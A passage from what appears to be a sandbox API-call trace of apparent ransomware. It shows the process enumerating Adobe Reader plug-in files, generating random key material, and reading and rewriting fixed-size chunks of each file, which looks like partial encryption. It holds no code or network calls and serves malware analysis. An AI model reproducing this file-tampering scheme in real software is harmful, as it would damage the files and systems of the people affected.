10.0\\Reader\\plug_ins\\Multimedia" [0063.913] wcscat (in: _Dest=0x5ec5ae8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.913] wcscat (in: _Dest=0x5ec5ae8, _Source="MPP_TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" [0063.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec5ae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0063.915] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0063.915] wcscmp (_String1="MPP_UKR", _String2=".") returned 1 [0063.915] wcscmp (_String1="MPP_UKR", _String2="..") returned 1 [0063.915] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5b88 [0063.915] wcscpy (in: _Dest=0x5ec5b88, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.915] wcscat (in: _Dest=0x5ec5b88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.915] wcscat (in: _Dest=0x5ec5b88, _Source="MPP_UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" [0063.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec5b88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe88 [0063.916] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0063.916] FindClose (in: hFindFile=0x4403a0 | out: hFindFile=0x4403a0) returned 1 [0063.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e06300) returned 1 [0063.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cc4c8) returned 1 [0063.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418280) returned 1 Thread: id = 921 os_tid = 0x1240 [0051.973] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia.api")) returned 0x20 [0057.181] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api", dwFileAttributes=0x20) returned 1 [0057.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd34 [0057.181] GetFileSizeEx (in: hFile=0xd34, lpFileSize=0x1706fb30 | out: lpFileSize=0x1706fb30*=1526883) returned 1 [0057.181] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x174c5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.181] ReadFile (in: hFile=0xd34, lpBuffer=0x1706fab4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1706fab0, lpOverlapped=0x0 | out: lpBuffer=0x1706fab4*, lpNumberOfBytesRead=0x1706fab0*=0x4, lpOverlapped=0x0) returned 1 [0057.187] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0057.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c40 [0057.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c90 [0057.187] NtQuerySystemTime (in: CurrentTime=0x1706fa90 | out: CurrentTime=0x1706fa90*=132174898211664000) returned 0x0 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x4870e284 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x5193123c [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x604d4be0 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x9936bdb [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x62329d71 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x55466f81 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x1df47191 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x17182670 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x61d40c6f [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x1af13411 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x23adacf [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x757376e5 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x7a136225 [0057.187] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x17d1459c [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x480f47f8 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x78430da4 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x24dc1da8 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x340ae8a9 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x78a78a2f [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x4b14e61e [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x2deaab61 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x78c3d762 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x3e90b978 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x3e2b20ed [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x17e93263 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x358fec91 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x2b103b1 [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x1744836f [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x3e00482d [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x563a786d [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x638cb96e [0057.188] RtlRandomEx (in: Seed=0x1706fa9c | out: Seed=0x1706fa9c) returned 0x677b19d1 [0057.200] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.200] ReadFile (in: hFile=0xd34, lpBuffer=0x12f25aa0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1706fa48, lpOverlapped=0x0 | out: lpBuffer=0x12f25aa0*, lpNumberOfBytesRead=0x1706fa48*=0xc800, lpOverlapped=0x0) returned 1 [0057.216] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0057.216] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460d80) returned 1 [0057.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f3eab0 [0057.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0057.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460f60 [0057.218] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460f60) returned 1 [0057.218] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.218] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.218] WriteFile (in: hFile=0xd34, lpBuffer=0x12f3eab0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1706fa48, lpOverlapped=0x0 | out: lpBuffer=0x12f3eab0*, lpNumberOfBytesWritten=0x1706fa48*=0xc800, lpOverlapped=0x0) returned 1 [0059.147] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f3eab0) returned 1 [0059.147] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0xbb800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.149] ReadFile (in: hFile=0xd34, lpBuffer=0x12f25aa0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1706fa48, lpOverlapped=0x0 | out: lpBuffer=0x12f25aa0*, lpNumberOfBytesRead=0x1706fa48*=0xc800, lpOverlapped=0x0) returned 1 [0059.151] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0xbb800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.152] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.152] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.152] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0059.152] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460710) returned 1 [0059.153] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12dd1028 [0059.153] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0059.153] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460648 [0059.153] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460648) returned 1 [0059.153] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.153] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.153] WriteFile (in: hFile=0xd34, lpBuffer=0x12dd1028*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1706fa48, lpOverlapped=0x0 | out: lpBuffer=0x12dd1028*, lpNumberOfBytesWritten=0x1706fa48*=0xc800, lpOverlapped=0x0) returned 1 [0064.434] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dd1028) returned 1 [0064.437] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x168463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.437] ReadFile (in: hFile=0xd34, lpBuffer=0x12f25aa0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1706fa48, lpOverlapped=0x0 | out: lpBuffer=0x12f25aa0*, lpNumberOfBytesRead=0x1706fa48*=0xc800, lpOverlapped=0x0) returned 1 [0064.438] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x168463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.438] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.438] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.438] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0064.438] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0064.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12dd1028 [0064.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0064.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460120 [0064.439] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460120) returned 1 [0064.439] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.440] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.440] WriteFile (hFile=0xd34, lpBuffer=0x12dd1028, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1706fa48, lpOverlapped=0x0) Thread: id = 922 os_tid = 0x1244 [0051.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\pddom.api")) returned 0x20 [0057.156] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api", dwFileAttributes=0x20) returned 1 [0057.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\pddom.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd3c [0057.160] GetFileSizeEx (in: hFile=0xd3c, lpFileSize=0x176cf8b8 | out: lpFileSize=0x176cf8b8*=430691) returned 1 [0057.160] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x6925f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.160] ReadFile (in: hFile=0xd3c, lpBuffer=0x176cf83c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x176cf838, lpOverlapped=0x0 | out: lpBuffer=0x176cf83c*, lpNumberOfBytesRead=0x176cf838*=0x4, lpOverlapped=0x0) returned 1 [0057.162] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0057.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460dd0 [0057.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0057.162] NtQuerySystemTime (in: CurrentTime=0x176cf818 | out: CurrentTime=0x176cf818*=132174898211352000) returned 0x0 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x321b9edb [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x53491ac8 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x3ad4c9a4 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x63feacf9 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x493a673b [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x1f10b17f [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x7199b152 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x558f23dd [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x6808b006 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x11e77b91 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x53a26a5c [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x4bff2b97 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x26227ef9 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x19d2f54b [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x63e02178 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x6c0f0e5f [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x6a7af894 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x4323c984 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x218842a7 [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x2301b22c [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x2afecc9b [0057.162] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x2fa6d2e2 [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x410b946f [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x43117a42 [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x4f8dbd51 [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x2574545d [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x39582f03 [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x9e178a7 [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x26958cf9 [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x3a90a9f6 [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x2cfcc068 [0057.163] RtlRandomEx (in: Seed=0x176cf824 | out: Seed=0x176cf824) returned 0x20f7af11 [0057.176] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.176] ReadFile (in: hFile=0xd3c, lpBuffer=0x12f0ca90, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x176cf7d0, lpOverlapped=0x0 | out: lpBuffer=0x12f0ca90*, lpNumberOfBytesRead=0x176cf7d0*=0xc800, lpOverlapped=0x0) returned 1 [0057.177] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.177] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.177] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0057.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed890) returned 1 [0057.179] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f19298 [0057.180] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0057.180] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0057.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460d80) returned 1 [0057.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.180] WriteFile (in: hFile=0xd3c, lpBuffer=0x12f19298*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x176cf7d0, lpOverlapped=0x0 | out: lpBuffer=0x12f19298*, lpNumberOfBytesWritten=0x176cf7d0*=0xc800, lpOverlapped=0x0) returned 1 [0059.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f19298) returned 1 [0059.138] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.138] ReadFile (in: hFile=0xd3c, lpBuffer=0x12f0ca90, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x176cf7d0, lpOverlapped=0x0 | out: lpBuffer=0x12f0ca90*, lpNumberOfBytesRead=0x176cf7d0*=0xc800, lpOverlapped=0x0) returned 1 [0059.142] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0059.142] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0059.143] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195d68f0 [0059.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0059.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460760 [0059.144] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460760) returned 1 [0059.144] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.144] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.144] WriteFile (in: hFile=0xd3c, lpBuffer=0x195d68f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x176cf7d0, lpOverlapped=0x0 | out: lpBuffer=0x195d68f0*, lpNumberOfBytesWritten=0x176cf7d0*=0xc800, lpOverlapped=0x0) returned 1 [0064.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195d68f0) returned 1 [0064.423] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x5ca63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.423] ReadFile (in: hFile=0xd3c, lpBuffer=0x12f0ca90, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x176cf7d0, lpOverlapped=0x0 | out: lpBuffer=0x12f0ca90*, lpNumberOfBytesRead=0x176cf7d0*=0xc800, lpOverlapped=0x0) returned 1 [0064.429] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x5ca63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0064.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460440) returned 1 [0064.430] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1982e028 [0064.431] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0064.431] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460080 [0064.431] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460080) returned 1 [0064.431] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.431] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.431] WriteFile (in: hFile=0xd3c, lpBuffer=0x1982e028*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x176cf7d0, lpOverlapped=0x0 | out: lpBuffer=0x1982e028*, lpNumberOfBytesWritten=0x176cf7d0*=0xc800, lpOverlapped=0x0) returned 1 [0066.658] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1982e028) returned 1 [0066.664] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48dce0 [0066.664] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.664] WriteFile (hFile=0xd3c, lpBuffer=0x441888, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x176cf878, lpOverlapped=0x0) Thread: id = 923 os_tid = 0x1248 [0051.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api")) returned 0x20 [0057.140] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api", dwFileAttributes=0x20) returned 1 [0057.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd40 [0057.140] GetFileSizeEx (in: hFile=0xd40, lpFileSize=0x178bf7f4 | out: lpFileSize=0x178bf7f4*=7598691) returned 1 [0057.140] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x73f25f, lpNewFilePointer=0x0, 